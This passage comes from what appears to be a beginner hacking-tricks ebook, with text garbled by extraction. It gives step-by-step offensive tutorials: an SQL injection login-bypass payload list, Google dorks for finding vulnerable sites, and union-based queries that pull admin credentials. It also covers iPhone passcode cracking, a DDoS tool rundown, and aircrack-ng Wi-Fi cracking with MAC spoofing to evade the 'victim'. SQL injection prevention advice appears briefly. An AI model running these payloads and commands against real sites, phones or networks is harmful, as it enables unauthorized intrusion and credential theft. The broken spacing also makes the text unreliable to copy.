a m essage ―click ok to form at‖.
 A nd I am  sure that you w ill not going to click on ok.
 B ut again it does not m atter if you click on ok or close the box, but I am  sure that you w ill
close the box.
A gain it w ill show  you a m essage that ―all your data has been deleted‖.
A nd for a m om ent your friend‒s heartbeat are going to be on the optim um .

So this is a funny w ay to shock your friends w ithout harm ing them  actually.



D O  Y O U  H AV E  i7

?
H O W  TO  C H A N G E  Y O U R  PR O C E SSO R  N A M E

The trick w e are going to learn here is the m ost interesting trick and I am  sure that it w ill
increase your prestige am ong your friends. B ecause now  these days it‒s a big deal am ong
the group of your friend that if you have i3, i5 or i7 processor.
So let‒s learn how  to change your pc from  any of core processor to i7.

For it you have to follow  these steps:

 First of all you have to go on the ―run‖ option and w rite ―regedit‖ to open the registry
editor of your com puter and click on ok
 It w ill open the registry editing w indow  after you.

 O pen the ―H K EY _LO C A L_M A C H IN E‖ as highlighted in the figure.



Then open the ―hardw are‖ option present under it.

 Then open the ―D escription‖ option and then open the ―system ‖ option. A lso open the
―central processor‖ option under system  option.



 Then give a single click to ―0‖ folder present under ―central processor‖.
 A nd then you w ill see that in the right part of the regedit w indow  there appear a lot of
options. This is called as STR IN G S.
Search for the ―processor nam e string‖ am ong those strings.

 O pen the processor nam e string giving a double click on it.  A  dialogue box w ill open



after you.
In the ―value data‖ text box it is w ritten w hat your com puter‒s processor actually is.

 I am  using ―Pentium (R ) D ual-C ore C PU  T4500 @  2.30G H z‖ as w ritten in the value data.
 N ow  delete those texts and w rite your ow n text replacing them .
Such as you can w rite‖Intel(R )C ore i7C PU  T9500 @  2.30G H z‖ and click on ―ok‖
option.

 N ow  close the registry editor and let‒s checkif it is w orking or not.  For checking it, you
have to check the properties of your com puter.
 For checking it, just give a right click on m y com puter icon and click on the ―properties‖
option w hich is the last option of the dialogue box.



 The system  properties
of your com puter are show n after you. 

 Yuppie! A s you have seen in the processor nam e it w ill be as expected.
 N ow  your processor is turned into i7.

 A nd now  you can say w ith proud that Y O U  H AV E A  C O R E i7 PR O C ESSO R .



G O O G L E

H O W  TO  M A K E  Y O U R  G O O G L E  SE A R C H S E FFE C T IV E

In this article w e are going to learn how  to m ake our G oogle searches effective. If w e have
to find anything on G oogle w e use to open the G oogle w ebsite and start searching like if
you w ant to dow nload any book on G oogle you use to w rite like this ―fifty shades of grey
for free‖. A nd you w ill find a huge am ount of results on G oogle like 753286543567
results in 0.43 seconds and w ill m ake you difficult to find the exact w orking dow nload
link of that book.

You can take som e very sim ple steps to reduce your G oogle searches results.
Let‒s assum e w e have to dow nload the sam e book as above m entioned.
If you use to w rite in the follow ing w ay it w ill reduce your G oogle searches and m ake it
sim ple to find the exact dow nload link. W rite in this w ay in the G oogle searches:
You have to w rite your searches under double quotes.
Like: - ―fifty shades of grey.pdf‖
N ote: - don‒t forget to apply the extension ―.pdf‖

Second m ethod: - using ―G O O G LE H A C K S‖ You can also use an application nam e as
―G oogle hacks‖. It is easily available on the net and you can dow nload it easily by G oogle
searches.

This application also helps you a lot in perform ing effective searches. 



iO S PA SSW O R D  C R A C K IN G

IO S PA SSW O R D  C R A C K IN G

N ow  these days‒people generallyuse 4-digit pin to secure their phone. A  m obile device
gets lost or stolen and all the person recovering it has to do is try som e basic num ber
com binations such as 1234, 1212, or 0000.and soon the w ill be unlocked.

Let‒s see how  to crack your ios passw ord:
1. For the first step you have to plug you iPhone or com puter into device firm w are
upgrade m ode i.e. D FU  m ode:

To enter D FU  m ode, sim ply pow er the device off, hold dow n the H om e button (bottom
center) and sleep button (upper corner) at the sam e tim e for 10 seconds, and continue
holding dow n the H om e button for another 10 seconds. The m obile device screen goes
blank.

2. after putting your phone into D FU  m ode you need to Load the iO S Forensic Toolkit for
this you need to insert your U SB  license dongle into your com puter and running
Tookit.cm d:

3.A fter that the w ork is to do is to load the iO S Forensic Toolkit R am  disk onto the m obile
device by selecting option 2 LO A D  R A M D ISK :W hen you loaded the R A M D ISK  code it
allow s your com puter to com m unicate w ith the m obile device and run the tools w hich are
needed for cracking the passw ord (am ong other things).

4. N ow  you need to select the iO S device type/m odel that is connected to your com puter,
as show n in Figure:

I don‒t have iphone 6 w ith m e now  so; I have selected option 14 because I have an iPhone
4 w ith G SM .



A fter that you see the toolkit w hich is connecting to the device and it confirm s a
successful load, as show n in Figure:

A lso you w ill see the Elcom soft logo in the m iddle of your m obile device‒s screen “ “ I
think it looks pretty:



6. N ow  if you w ant to crack the device‒s passw ord/PIN , you have to sim ply select the
option 6 G ET PA SSC O D E on the m ain m enu:

iO S Forensic Toolkit w ill prom pt you to save the passcode to a file. For saving the
passcode sim ply; you can press Enter to accept the default of passcode.txt. The cracking
process w ill com m ence and, w ith any luck, the passcode w ill be found and displayed after
you as show n in Figure:



So, having no passw ord for phones and tablets is bad, and a 4-digit PIN  such as this is also
not m uch better choice.
So be aw are about the attacks! G et up-users-getup it‒s tim e to be secured.
You can also use iO S Forensic Toolkit to copy files and even crack the key chains to
uncover the passw ord that protects the device‒s backups in iTunes (option 5 G ET K EY S).

PR EV EN TIO N :
For the prevention from  being hacked you can refer to the chapter ―PA SSW O R D
C R EATIN G  PO LIC IES‖.



H ID E  Y O U R  R E C Y C L E  B IN

H A C K  TO  H ID E  T H E  R E C Y C L E  B IN

Som etim es w hen you just try to m odify the w indow s G U I or even you use to install any
them e for your w indow s som etim es you find that the recycle bin icon rem ains not
m odified and destroys the beauty of your m odification.

So in this article w e are going to learn that how  to delete the R EC Y C LE B IN  by hacking
registry.

 For deleting the recycle bin you need to open the registry editor of your com puter.
 I think now  after reading the above sections you are fam iliar w ith the ―registry editor‖.
 So go through the registry editor and follow  the given path.

H K EY _LO C A L_M A C H IN E\SO FTW A R E\M icrosoft\W indow s\C urrentVe

H K EY _LO C A L_M A C H IN E\SO FTW A R E\M icrosoft\W indow s\C urrentVe 00A A 00
2F954E}

 W hen you finally opened the last path, you w ill see the default string of recycle bin is
defined.
 N ow  D ELETE that string and restart your com puter.
 You w ill find that recycle bin is deleted.
 I am  attaching a screenshot for your ease.

 B y finalizing all steps don‒t forget to restart your com puter.
It w ill w ork only on the restart.



H O W  B O T N E T D D oS AT TA C K  W O R K S“

D D oS A ttack?

D D oS stands for ―D istributed D enial of Service.‖ A  D D oS attack is also a m alicious
conceive to produce a server or a netw ork resource inaccessible to users, norm ally by
quickly officious w ith or suspending the adm inistrations of a host related to the net. In
contrast to a D enial of Service (D oS) attack, inside that one com puter and one internet
association is used to flood targeted resource w ith packets, a D D oS attack uses m any
com puters and lots of internet connections. D D oS attacks is loosely divided into three
different types. The first, A pplication Layer D D oS A ttacks em brace Slow loris, Zero-day
D D oS attacks, D D oS attacks that consider A pache, W indow s or O penB SD  vulnerabilities
and extra. C om prised of Seem ingly legitim ate and innocent requests, the goal of these
attacks is to crash the net server, and additionally the m agnitude is m easured in R equests
per second. The second kind of D D oS attack, Protocol D D oS A ttacks, along w ith SY N
floods, fragm ented packet attacks, Ping of D eath, Sm urf D D oS and extra. This sort of
attack consum es actual server resources, or those of interm ediate facility, like firew alls
and load balancers, and is m easured in Packets per second. The third kind of D D oS attack
is usually thought-about to m ost dangerous. Volum e-based D D oS A ttacks em brace U D P
floods, IC M P floods, and different spoofedpacket floods. The volum e-based attack‒s goal
is to saturate the inform ation m easure of the attacked w eb site, and m agnitude is m easured
in B its per second.



B otnet?

Som etim es observed as a ―B unch of Zom bies,‖ a B otnet m ay be a cluster of Internet-
connected com puters, every of that has been m aliciously condem ned, som etim es w ith the
help of m alw are like Trojan H orses. U sually w hile not the data of the com puters‒ rightful
hom eow ners, these m achines square m easure rem otely controlled by an external source
via com m onplace netw ork protocols, and often used for m alicious functions, m ost
ordinarily for D D oS attacks.

B otnet Tools

The conceiver of a B otnet is often brought u p as a ―bot herder‖ or ―bot m aster.‖ This
individual controls the B otnet rem otely, usually through associate IR C  server or a channel
on a public IR C  server  referred to as the com m and and control (C & C ) server. To
com m unicate w ith the C & C  server, the bot m aster uses num erous hidden channels, as w ell
as apparently innocuous tools like Tw itter or IM . A  lot of advanced bots autom atically
hunt dow n a lot of resources to exploit, joining a lot of system s to the B otnet during a
process referred to as ―scrum ping.‖ B otnet servers m ight continually com m unicate and
w ork w ith different B otnet servers, m aking entire com m unities of B otnet‒s, w ith
individual or m ultiple bot m asters. This im plies that any given B otnet D D oS attack m ay
very w ell have m ultiple origins, or be controlled by m ultiple people, generally operating in
coordination, generally operating singly. B otnets area unit obtainable for rent or lease
from  num erous sources,anduse of B otnet‒s are auctionedandlistedam ong attackers. A ctual
m arketplaces have sprung up  platform s that m odify com m ercialism  in large num bers of
m alw are-infected PC s, w hich m ight be rented and em ployed in B otnet D D oS or different
attacks. These platform s offer B otnet D D oS attack perpetrators w ith an entire and richly-
featured toolkit, and a distribution netw ork additionally.Even for non-technical users,
B otnet D D oS attacking m ay be a viable and efficient choice to ―take out‖ a com petitor‒s
w eb site. A t intervals the crim e system , B otnet D D oS attacks area unit a thought artifact,
w ith costs taking place, and effectiveness and class grow ing. A  num ber of the forem ost



com m on tools for initiating a B otnet D D oS attack are sim ply dow nloaded from  m ultiple
on-line sources, and include:

Slow Loris

Especially dangerous to hosts running A pache, dhttpd, tom cat and G oA head W ebServer,
Slow loris m ay be a highlytargeted attack, enabling one internet server to require dow n
another server, w hile not touching different services or ports on the target netw ork.

Tor‒s H am m er

Is a slow  post dos testing tool w ritten in Python. It also can be run through the Tor
netw ork to be anonym ized. There are several tools for testing server readiness to resist
B otnet D D oS attacks.

Q slow loris
U ses Q t libraries to execute the w ays utilized by Slow loris, providing a graphical interface
that creates the program  highly sim ple to use.
A pache K iller

U tilizes an exploit w ithin the A pache O S initial discovered by a G oogle security engineer.
A pache K iller pings a server, tells the server to interrupt up w hatever file is transferred
into a huge range of little chunks, using the ―range‖ variable. W hen the server tries to
adjust to this request, it runs out of m em ory, or encounters alternative errors, and crashes.

PyLoris
It is a scriptable tool for testing a service‒s level of vulnerability to a specific category of
D enial of Service (D oS) attack
D D oSim

W hich can be em ployed in a laboratory atm osphere to sim ulate a D D oS attack, and helps
live the capability of a given server to handle application-specific D D O S attacks, by
sim ulating m ultiple zom bie hosts w ith random  IP addresses that create transm ission
control protocol connections.

B otnet D D oS A ttacks

B otnet D D oS attacks are quickly turning into the forem ost prevailing variety of D D oS
threat, grow ing speedily w ithin the past year in each num ber and volum e, consistent w ith
recent m arketing research. The trend is tow ards shorter attack period, how ever larger
packet-per second attack volum e, and therefore the overall variety of attacks according has
grow nup m arkedly, as w ell. The typical attack inform ation m easure ascertained
throughout this era of 2010-2012 w as five.2G  bps, w hich is 148%  above the previous
quarter. A nother survey of D D oS attacks found that quite 400th of respondent‒s old
attacks that exceeded 1G  bits per second in bandw idth in 2011, and 13 w ere targeted by a
m inim um  of one attack that exceeded 10G  rate. From  a m otivational perspective, new er
analysis found that ideologically driven D D oS attacks are on the increase, supplanting
m onetary m otivation because the m ost frequent incentive such attacks.



W E B SIT E  H A C K IN G

W E B SIT E  H A C K IN G

N ow  take your tim e and be serious and free before starting this article because this is the
very w ide and one of the m ost interesting articles am ong all of the above chapters. W e w ill
discuss in this chapter that how  to hack any vulnerable site using SQ L injection.

W hat is SQ L Injection?

SQ L injection is one of the popular w eb applications hacking m ethod. U sing the SQ L
Injection attack, an unauthorized person can access the database of the w ebsite. A ttacker
can extract the data from  the D atabase.

W hat a hacker can do w ith SQ L Injection attack?

 * B yPassing Logins
 * A ccessing secret data
 * M odifying contents of w ebsite
 * Shutting dow n the M y SQ L server

So, here w e start w ith bypassing login “ “ .i.e.
A uthentication bypass:

In this type of SQ L injection generally if w e had found the A dm in login page and after
that w e w ill try to open the control panel account of the adm in by passing the
authentication.
If you have the adm in login page of any w ebsite then you can paste the follow ing codes
(w ith quotes) to bypass the authentication of the w ebsite “ .generally PH P w ebsites are
vulnerable to this injection:

You can find these types of sites sim ply by G oogle searches. You have to type like this in
the G oogle search bar:

w w w .thesitenam e.com /adm inlogin.php? O r /adm in.php? O r W p-login.php? Etc.

A fter finding the login page you have to paste the follow ing codes in both userID  and
passw ord of the adm in page till it w ill bypassed. If not w e w ill try the next SQ L injection
i.e. union based, blind based, error based etc.

C odes to be used as both userID  and passw ord at the adm in login page of vulnerable
w ebsite for bypassing authentication are as follow :

 ‐ or ‒1‒=‒1 ‐ or ‐x‒=‐x ‐ or 0=0  ‖ or 0=0   or 0=0  ‐ or 0=0 # ‖ or 0=0 # 
or 0=0 # ‐ or ‐x‒=‐x ‖ or ―x‖=‖x ‐) or (‐x‒=‐x 
‐ or 1=1 ‖ or 1=1  or 1=1 ‐ or a=a ‖ or ―a‖=‖a ‐) or (‐a‒=‐a ―) or (―a‖=‖a
hi‖ or ―a‖=‖a hi‖ or 1=1  hi‒ or 1=1  ‐or‒1=1‒ 

If the authentication bypass w ill not w ork then try the follow ing techniques carefully and
step by step:
U N IO N  B A SED  SQ Li:
 Finding V ulnerable W ebsite:



To find a SQ L Injection vulnerable site, you can use G oogle search by searching for
certain keyw ords. That keyw ord often called as ―G O O G LE D O R K ‖.

Som e Exam ples:
 inurl:index.php?id=  inurl:gallery.php?id=  inurl:article.php?id=  inurl:pageid=

N ow  you have to C opy one of the above keyw ord and G oogle it. H ere, w e w ill get a lot of
search results w ith w hich w e have to visit the w ebsites one by one for finding the
vulnerability.

For exam ple:
site:w w w .anyselectedsite.com  inurl:index.php?id= Step 1: Findinging the V ulnerability:

N ow  let us the vulnerability of the target w ebsite. To the vulnerability, add the single
quotes(‐) at the end of the U R L and press enter.

For eg:

http://w w w.anyselectedsite.com /index.php?id= 2‐ 
If the page rem ains in sam e page or show ing that page not found, then it is not vulnerable.
If you got an error m essage just like this, then it m eans that the site is vulnerable.

You have an error in your SQ L syntax; the m anual that corresponds to your M ySQ L server
version for the right syntax to use near ‐'‒ at line 1

Step 2: Finding N um ber of colum ns in the database:
G reat, w e have found that the w ebsite is vulnerable to SQ Li attack.
O ur next step is to find the num ber of colum ns present in the target D atabase.
For that replace the single quotes(‐) w ith ―order by n‖ statem ent.
C hange the n from  1,2,3,4,,5,6,“ n. U ntil you get the error like ―unknow n colum n ―.

For eg:
http://w w w .anyselectedsite.com /index.php?id=2 order by 1
http://w w w .anyselectedsite.com /index.php?id=2 order by 2
http://w w w .anyselectedsite.com /index.php?id=2 order by 3
http://w w w .anyselectedsite.com /index.php?id=2 order by 4 If you get the error w hile
trying the ―n‖th num ber, then num ber of

colum n is ―n-1‖.
I m ean:
http://w w w .anyselectedsite.com /index.php?id=2 order by 1(no error show n show n)
http://w w w .anyselectedsite.com /index.php?id=2 order by 2(no

error show n)
http://w w w .anyselectedsite.com /index.php?id=2 order by 3(no
error show n)
http://w w w .anyselectedsite.com /index.php?id=2 order by 4(no
error show n)
http://w w w .anyselectedsite.com /index.php?id=2 order by 5(no
error show n)
http://w w w .anyselectedsite.com /index.php?id=2 order by 6(no



error show n)
http://w w w .anyselectedsite.com /index.php?id=2 order by 7(no
error show n)
http://w w w .anyselectedsite.com /index.php?id=2 order by 8(error
show n)

So now  n=8, the num ber of colum n is n-1 i.e., 7.

In case, if the above m ethod fails to w ork for you, then try to add the ― ‖ at the end of the
statem ent.
For eg:

http://w w w .anyselectedsite.com /index.php?id=2 order by 1-Step 3: Find the V ulnerable
colum ns:

W e have successfully found the num ber of colum ns present in the target database. Let us
find the vulnerable colum n by trying the query ―union select colum ns sequence‖.

C hange the id value to negative (i m ean id=-2). R eplace the colum ns_sequence w ith the
no from  1 to n-1(num ber of colum ns) separated w ith com m as (,).

For eg:

If the num ber of colum ns is 7, then the query is as follow :
http://w w w .anyselectedsite.com /index.php?id=-2 union select 1, 2,3,4,5,6,7

Ifyou have applied the above m ethod and is not w orking then try this:
http://w w w .anyselectedsite.com /index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7-

O nce you execute the query, it w ill display the vulnerable colum n.

B ingo, colum n ‐3‒ and ‐7‒ are found to be vulnerable. Let us take the first vulnerable
colum n ‐3‒ . W e can inject our query in this colum n.
Step 4: Finding version,database,user
R eplace the 3 from  the query w ith ―version()‖
For eg:
http://w w w .anyselectedsite.com /index.php?id=-2 and 1=2 union select 1, 2,
version(),4,5,6,7
N ow , It w ill display the version as 5.0.2 or 4.3. Som ething likes this.
R eplace the version () w ith database () and user() for finding the database,user
respectively.
For eg:
http://w w w .anyselectedsite.com /index.php?id=-2 and 1=2 union select
1,2,database(),4,5,6,7-
http://w w w .anyselectedsite.com /index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7-
If the above is not w orking, then try this:
http://w w w .anyselectedsite.com /index.php?id=-2 and 1=2 union select



1,2,unhex(hex(@ @ version)),4,5,6,7-

Step 5: Finding the Table N am e
If the D atabase version is 5 or above. If the version is 4.x, then you
have to guess the table nam es (blind sql injection attack). Let us find the table nam e of the
database. R eplace the 3 w ith 
―group_concat(table_nam e) and add the ―from
inform ation_schem a.tables w here table_schem a=database()‖

For eg:

http://w w w .anyselectedsite.com /index.php?id=-2 and 1=2 union select
1,2,group_concat(table_nam e),4,5,6,7 from  inform ation_schem a.tables w here
table_schem a=database()-

N ow  it w ill display the list of table nam es. Find the table nam e w hich is related w ith the
adm in or user.

Let us choose the ―adm in ‖
table.
Step 6: Finding the C olum n N am e
N ow  replace the ―group_concat(table_nam e) w ith the ―group_concat(colum n_nam e)‖

R eplace the ―from  inform ation_schem a.tables w here table_schem a=database() ‖ w ith
―FR O M  inform ation_schem a.colum ns W H ER E table_nam e=m ysqlchar

W e have to convert the table nam e to M ySql C H A R () string .
Install the H ackB ar addon from :
https://addons.m ozilla.org/en-U S/firefox/addon/3899/

O nce you installed the add-on, you can see a toolbar that w ill look like the follow ing one.
If you are not able to see the H ackbar, then press F9.

Select sql->M ysql->M ysqlC har() in the H ackbar.

It w ill ask you to enter string that you w ant to convert to M ySQ LC H A R (). W e w ant to
convert the table nam e to M ySQ LC har . In our case the table nam e is ‐adm in‒.

N ow  you can see the C H A R (num bers separated



w ith com m ans) in the H ack toolbar.

C opy and paste the code at the end of the url instead of the ―m ysqlchar‖

For eg:
http://w w w .anyselectedsite.com /index.php?id=-2 and 1=2 union select
1,2,group_concat(colum n_nam e),4,5,6,7 from  inform ation_schem a.colum ns w here
table_nam e=C H A R (97, 100,

109, 105, 110)
The above query w ill display the list of colum n. 
For exam ple:

adm in,passw ord,adm in_id,adm in_nam e,adm in_passw ord,active,id
,adm in_nam e,adm in_pass,adm in_id,adm in_nam e,adm in_passw o
rd,ID _adm in,adm in_usern m e,usernam e,passw ord..etc..

N ow  replace the replace group_concat(colum n_nam e) w ith
group_concat(colum nnam e1,0x3a,anothercolum nnam e2).

N ow  replace the ‖ from  table_nam e=C H A R (97, 100, table_nam e‖
inform ation_schem a.colum ns w here

109, 105, 110)‖ w ith the ―from  
For eg: http://w w w .anyselectedsite.com /index.php?id=-2 
and 1=2 union select 1,2,group_concat(adm in_id,0x3a,adm in_passw ord),4,5,6,7 from
adm in-
If the above query displays the ‐colum n is not found‒ error, then try another colum n nam e
from  the list.

If w e are lucky, then it w ill display the data stored in the database depending on your
colum n nam e. For exam ple, usernam e and passw ord colum n w ill display the login
credentials stored in the database.

Step 7: Finding the A dm in Panel:

Just try w ith url like:
http://w w w .anyselectedsite.com /adm in.php
http://w w w .anyselectedsite.com /adm in/
http://w w w .anyselectedsite.com /adm in.htm l
http://w w w .anyselectedsite.com :2082/
etc.

If you are lucky, you w ill find the adm in page using above urls or you can use som e kind
of adm in finder tools like H avij adm in finder, sql poison for SQ L attacking (tool).

A nd once you found the adm in panel you have to do further w orks on your ow n risk.
PR EV EN TIO N :

This article is focused on providing clear, sim ple, actionable guidance for preventing SQ L



Injection flaw s in your applications. SQ L Injection attacks are unfortunately very
com m on, and this is due to tw o factors:

1.) The significant prevalence of SQ L Injection vulnerabilities, and 
2.) The attractiveness of the target (i.e., the database typically contains all the
interesting/critical data for your application).

It‒s som ew hat sham eful that there are so m any successful SQ L Injection attacks occurring,
because it is EX TR EM ELY  sim ple to avoid SQ L Injection vulnerabilities in your code.

SQ L Injection flaw s are introduced w hen softw are developers create dynam ic database
queries that include user supplied input. To avoid SQ L injection flaw s is sim ple.
D evelopers need to either: a) stop w riting dynam ic queries; and/or b) prevent user
supplied input w hich contains m alicious SQ L from  affecting the logic of the executed
query.

This article provides a set of sim ple techniques for preventing SQ L Injection
vulnerabilities by avoiding these three problem s. These techniques can be used w ith
practically any kind of program m ing language w ith any type of database.

SQ L injection flaw s typically look like this:

The follow ing (Java) exam ple is U N SA FE, and w ould allow  an attacker to inject code into
the query that w ould be executed by the database. The invalidated―custom erN am e‖
param eter that issim plyappended to the query allow s an attacker to inject any SQ L code
they w ant. U nfortunately, this m ethod for accessing databases is all too com m on.

String query = ―SELEC T account_balance FR O M  user_data W H ER E user_nam e = ―
+ request.getParam eter(―custom erN am e‖);

try {
Statem ent statem ent = connection.createStatem ent( “  ); R esultSet results =
statem ent.executeQ uery( query );

}
PR EV EN TIO N S
O ption 1: Prepared Statem ents (Param eterized Q ueries):

The use of prepared statem ents (param eterized queries) is how  all developers should first
be taught how  to w rite database queries. They are sim ple to w rite, and easier to understand
than dynam ic queries. Param eterized queries force the developer to first define all the
SQ L code, and then pass in each param eter to the query later. This coding style allow s the
database to distinguish betw een code and data, regardless of w hat user input is supplied. 
Prepared statem ents ensure that an attacker is not able to change the intent of a query, even
if SQ L com m ands are inserted by an attacker. If an attacker w ere to enter the user ID  ‐ or
‐1‒=‐1 , the param eterized query w ould not be vulnerable.

2. U se dynam ic SQ L only if absolutely necessary.

D ynam ic SQ L can alm ost alw ays be replaced w ith prepared statem ents, param eterized
queries, or stored procedures. For instance, instead of dynam ic SQ L, in Java you can use
PreparedStatem ent() w ith bind variables, in .N ET you can use param eterized queries, such
as SqlC om m and() or O leD bC om m and() w ith bind variables, and in PH P you can use PD O



w ith strongly typed param eterized queries (using bindParam ()).

In addition to prepared statem ents, you can use stored procedures. U nlike prepared
statem ents, stored procedures are kept in the database but both require first to define the
SQ L code, and then to pass param eters.

3:- Escaping A ll U ser Supplied Input

This third technique is to escape user input before putting it in a query. If you are
concerned that rew riting your dynam ic queries as prepared statem ents or stored
procedures m ight break your application or adversely affect perform ance, then this m ight
be the best approach for you. H ow ever, this m ethodology is frail com pared to using
param eterized queries and i cannot guarantee it w ill prevent all SQ L Injection in all
situations. This technique should only be used, w ith caution, to retrofit legacy code in a
cost effective w ay. A pplications built from  scratch, or applications requiring low  risk
tolerance should be built or re-w ritten using param eterized queries.

This technique w orks like this. Each D B M S supports one or m ore character escaping
schem es specific to certain kinds of queries. If you then escape all user supplied input
using the proper escaping schem e for the database you are using, the D B M S w ill not
confuse that input w ith SQ L code w ritten by the developer, thus avoiding any possible
SQ L injection vulnerabilities.

4. Install patches regularly and tim ely.

Even if your code doesn‒t have SQ L vulnerabilities, w hen the database server, the
operating system , or the developm ent tools you use have vulnerabilities, this is also risky.
This is w hy you should alw ays install patches, especially SQ L vulnerabilities patches,
right after they becom e available.

5. R em ove all functionality you don‒t use.

D atabase servers are com plex beasts and they have m uch m ore functionality than you
need. A s far as security is concerned, m ore is not better. For instance, the xp_cm dshell
extended stored procedure in M S SQ L gives access to the shell and this is just w hat a
hacker dream s of. This is w hy you should disable this procedure and any other
functionality, w hich can easily be m isused.

6. U se autom ated test tools for SQ L injections. Even if developers follow  the rules above
and do their best to avoid dynam ic queries w ith unsafe user input, you still need to have a
procedure to confirm  this com pliance. There are autom ated test tools to check for SQ L
injections and there is no excuse for not using them  to check all the code of your database
applications.



SQ L  IN JE C T M E

T E ST IN G  SQ L  IN JE C T IO N  B Y  U SIN G  TO O L

O ne of the easiest tool to test SQ L injections is the Firefox extension nam ed SQ L Inject
M E. A fter you install the extension, the tool is available in the right-click context m enu, as
w ell as from  Tools₵  O ptions. The sidebar of SQ L Inject M E is show n in the next
screenshot and as you can see there are m any tests you can run:

You can choose w hich tests to run and w hich values to test. W hen you press one of the
Test buttons, the selected tests w ill start. W hen the tests are done, you w ill see a report of
how  the tests ended.

There are m any options you can set for the SQ L Inject M E extension, as show n in the next
tw o pictures:



A s you see, there are m any steps you can take in order to clean your code from  potential
SQ L injection vulnerabilities. D on‒t neglect these sim ple steps because if you do, you w ill
com prom ise the security not only of your sites but also of all the sites that are hosted w ith
your w eb hosting provider.



W PA 2 T E ST IN G

W I-FI H A C K IN G  U SIN G  B A C K T R A C K

A fter perform ing the SQ L injection, I can bet that now  you have the endless curiosity to
explore m ore about the ethical hacking. A nd as according to your need now  in this article
w e are going to perform  a hardcore hack using B acktrack Linux. w e are going to learn that
how  to crack the W I-FI using B acktrack.one m ore thing I w ant to add here that all these
stuff I am  sharing w ith you is only for study purpose .if you have the black intentions just
leave the book now . If you are perform ing this article on your com puter, you w ill be
responsible for any dam age occurred by you.

So let‒s start the article:

N ow  let us start w ith the W i-Fi cracking. B ut before starting the tutorial let m e give you a
sm all introduction to w hat W i-Fi hacking is and w hat is the security protocols associated
w ith it.

In a secured w ireless connected the data on internet is sent via encrypted packets. These
packets are secured w ith netw ork keys. There are basically 2 types of security keys:

W EP (W ireless Encryption Protocol):- This is the m ost basic form  of encryption. This has
becom e an unsafe option as it is vulnerable and can be cracked w ith relative ease.
A lthough this is the case m any people still use this encryption.
W PA  (W I-FI Protected A ccess) : This is the m ost secure w ireless encryption. C racking of
such netw ork requires use of a w ordlist w ith com m on passw ords. This is sort of brute
force attack. This is virtually uncrackable if the netw ork is secured w ith a strong passw ord

So let‒s begin the actual W i-Fi H acking tutorial! In order to crack W i-Fi passw ord, you
require the follow ing things:

For the W i-Fi hacking you need to install the B acktrack on your com puter.

I am  assum ing that you have already installed the B acktrack on your pc. If not it‒s very
easy to install by m aking bootable live C D /D V D . For installing processes you can just
G oogle it. You w ill get it easily.



N ow  open the console from  the taskbar, C lick on the icon against the dragon like icon in
the taskbar in the above screenshot.
You w ill have a C om m and Prom pt like Shell called as console term inal.

1) Let‒s start by putting our w ireless adapter in m onitor m ode. It allow s us to see all of the
w ireless traffic that passes by us in the air. Type airm on-ng in the console term inal and
press Enter. You w ill have a screen like this, note dow n the nam e of interface, in this case
the nam e is w lan0.

2) N ow  type ifconfig w lan0 dow n and hit enter.

This com m and w ill disable your w ireless adapter; w e are doing this in order to change
your M A C  address.

N ow , you need to hide your identity so that you w ill not be identified by the victim .to do
this you need to type ifconfig w lan0 hw  ether 00:11:22:33:44:55 and hit enter.

This com m and w ill change your M A C  address to 00:11:22:33:44:55.
3) N ow  the next w ork is to type airm on-ng start w lan0 and press enter.

This w ill start the w ireless adapter in m onitor m ode. N ote dow n the new  interface nam e, it
could be eth0 or m on0 or som ething like that.

The above com m and in the console has started your netw ork adapter in m onitor m ode as
m on0:



4) N ow  that our w ireless adapter is in m onitor m ode, w e have the capability to see all the
w ireless traffic that passes by in the air. W e can grab that traffic by sim ply using the
airodum p-ng com m and.

This com m and grabs all the traffic that your w ireless adapter can see and displays critical
inform ation about it, including the B SSID  (the M A C  address of the A P), pow er, num ber
of beacon fram es, num ber of data fram es, channel, speed, encryption (if any), and finally,
the ESSID  (w hat m ost of us refer to as the SSID ).
Let‒s do this by typing:

airodum p-ng m on0

In the above screenshot there is a list of available netw orks, C hoose 1 netw ork and note
the B SSID  and channel of it.
5.) Type airodum p-ng -c channel no bssid B SSID N 1 m on0 -w  filenam e and hit enter.

R eplace channel no. and B SSID N 1 w ith the data from  step 4. R eplace the m on0 w ith
netw ork interface nam e from  step 3. In place of filenam e w rite any nam e and do
rem em ber that. B etter use filenam e itself.

This com m and w ill begin capturing the packets from  the netw ork. You need to capture
m ore and m ore packets in order to crack the W i-Fi passw ord. This packet capturing is a
slow  process.

6.) To m ake the packet capturing faster, w e w ill use another com m and. O pen a new  shell,
don‒t close the previous shell. In new  shell type aireplay-ng -1 0 -a B SSID N 1 -h
00:11:22:33:44:55 m on0 and hit enter.

R eplace the B SSID N 1 w ith the data from  step 4 and m on0 from  step 3. This com m and
w ill boost the data capturing process.
The -1 tells the program  the specific attack w e w ish to use w hich in this case is fake
authentication w ith the access point. The 0 cites the delay betw een attacks, -a is the M A C



address of the target access point, -h is your w ireless adapters M A C  address and the
com m and ends w ith your w ireless adapters device nam e.

7.) N ow  w ait for few  m inutes, let the D ATA  in the other console reach a count of 5000.

8.) A fter it reaches 5000, open another console and type aircrack-ng filenam e-01.cap and
hit enter.
R eplace the filenam e w ith the nam e you used in step 5. A dd -01.cap to it. .cap is the
extension of file having captured data packets. A fter typing this com m and, aircrack w ill
start trying to crack the W i-Fi passw ord. If the encryption used is W EP, it w ill surely crack
the passw ord w ithin few  m inutes.

In case of W PA  use the follow ing com m and instead of the above aircrack-ng -w
/pentest/w ireless/aircrack-ng/test/passw ord.lst -b B SSID N 1 filenam e-01.cap

R eplace B SSID N 1 and filenam e w ith data you used. /pentest/w ireless/aircrack-
ng/test/passw ord.lst is the address of a file having w ordlist of popular passw ords. In case
of W PA  aircrack w ill try to brute force the passw ord. A s I explained above that to crack
W PA  you need a file having passw ords to crack the encryption. If you are lucky enough
and the netw ork ow ner is not sm art enough, you w ill get the passw ord.

PR EV EN TIO N :



For the prevention from  being hacked you can refer to the chapter

―PA SSW O R D  C R EATIN G  PO LIC IES‖.

N E W B IE ‒S W AY  TO W A R D S R E V E R SE  E N G IN E E R IN G

N ow -a-days people expect m ore than som ething w ith an application as it is provided by
the developers. People w ant to use that specific application according to their ow n
preferences. So now  w e are here w ith an article on the topic reverse engineering. Let‒s
start w ith sim ple engineering, ―sim ple engineering‖ is the task to develop/build som ething
B U T R everse engineering refers to the task to redevelop/re-build som ething. In sim ple
w ords reverse engineering is the task to m odify the source code of the application to m ake
it w ork according to our w ay, R everse engineering is a very com plicated topic and is very
